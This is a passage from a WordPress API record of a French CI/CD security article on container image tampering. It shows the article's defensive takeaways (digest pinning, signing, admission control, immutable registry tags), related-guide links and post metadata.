digest sp\u00e9cifique, v\u00e9rifiant \u00e0 la fois l'int\u00e9grit\u00e9 (non falsifi\u00e9) et l'authenticit\u00e9 (construit par une partie de confiance).<\/li>\n<li><strong>Les contr\u00f4leurs d'admission appliquent la politique au moment du d\u00e9ploiement.<\/strong> Des outils comme Kyverno et le policy-controller Sigstore rejettent les images non sign\u00e9es ou non v\u00e9rifi\u00e9es avant qu'elles ne puissent s'ex\u00e9cuter dans votre cluster.<\/li>\n<li><strong>L'immutabilit\u00e9 du registre emp\u00eache l'attaque \u00e0 la source.<\/strong> Activer les tags immutables sur ECR, GCR ou ACR emp\u00eache totalement l'\u00e9crasement des tags, mais n\u00e9cessite une strat\u00e9gie de tagging qui \u00e9vite la r\u00e9utilisation.<\/li>\n<li><strong>La d\u00e9fense en profondeur est essentielle.<\/strong> Aucun m\u00e9canisme unique n'est suffisant. Combinez le pinning de digest, la signature, le contr\u00f4le d'admission et l'immutabilit\u00e9 du registre pour une protection robuste contre les attaques de cha\u00eene d'approvisionnement sur les images container.<\/li>\n<\/ul>\n<h2>Prochaines \u00c9tapes<\/h2>\n<p>Continuez \u00e0 d\u00e9velopper vos comp\u00e9tences en s\u00e9curit\u00e9 des containers avec ces guides connexes :<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/signing-verifying-container-images-sigstore-cosign\/\">Signature et V\u00e9rification d'Images Container avec Sigstore et Cosign<\/a> \u2014 Une plong\u00e9e approfondie dans la signature sans cl\u00e9 avec Fulcio, les journaux de transparence avec Rekor et les mod\u00e8les d'int\u00e9gration CI\/CD pour les workflows de signature automatis\u00e9s.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Mod\u00e8les D\u00e9fensifs et Att\u00e9nuations<\/a> \u2014 Des strat\u00e9gies compl\u00e8tes pour s\u00e9curiser l'ensemble de votre pipeline CI\/CD, du contr\u00f4le de source au d\u00e9ploiement en production.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Aper\u00e7u Les tags d&rsquo;images container sont des pointeurs mutables. Contrairement \u00e0 un hash de commit Git, le tag v1.0.0 n&rsquo;est pas li\u00e9 cryptographiquement \u00e0 une image sp\u00e9cifique \u2014 c&rsquo;est simplement une \u00e9tiquette qu&rsquo;un registre associe \u00e0 un digest de manifeste. Toute personne disposant d&rsquo;un acc\u00e8s push \u00e0 un d\u00e9p\u00f4t peut \u00e9craser cette association \u00e0 tout &#8230; <a title=\"Lab : Falsification d&rsquo;Artefacts et D\u00e9tection \u2014 Remplacement d&rsquo;Images Container dans un Registre\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry-2\/\" aria-label=\"En savoir plus sur Lab : Falsification d&rsquo;Artefacts et D\u00e9tection \u2014 Remplacement d&rsquo;Images Container dans un Registre\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,54],"tags":[],"post_folder":[],"class_list":["post-548","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/548","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=548"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/548\/revisions"}],"predecessor-version":[{"id":588,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/548\/revisions\/588"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=548"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}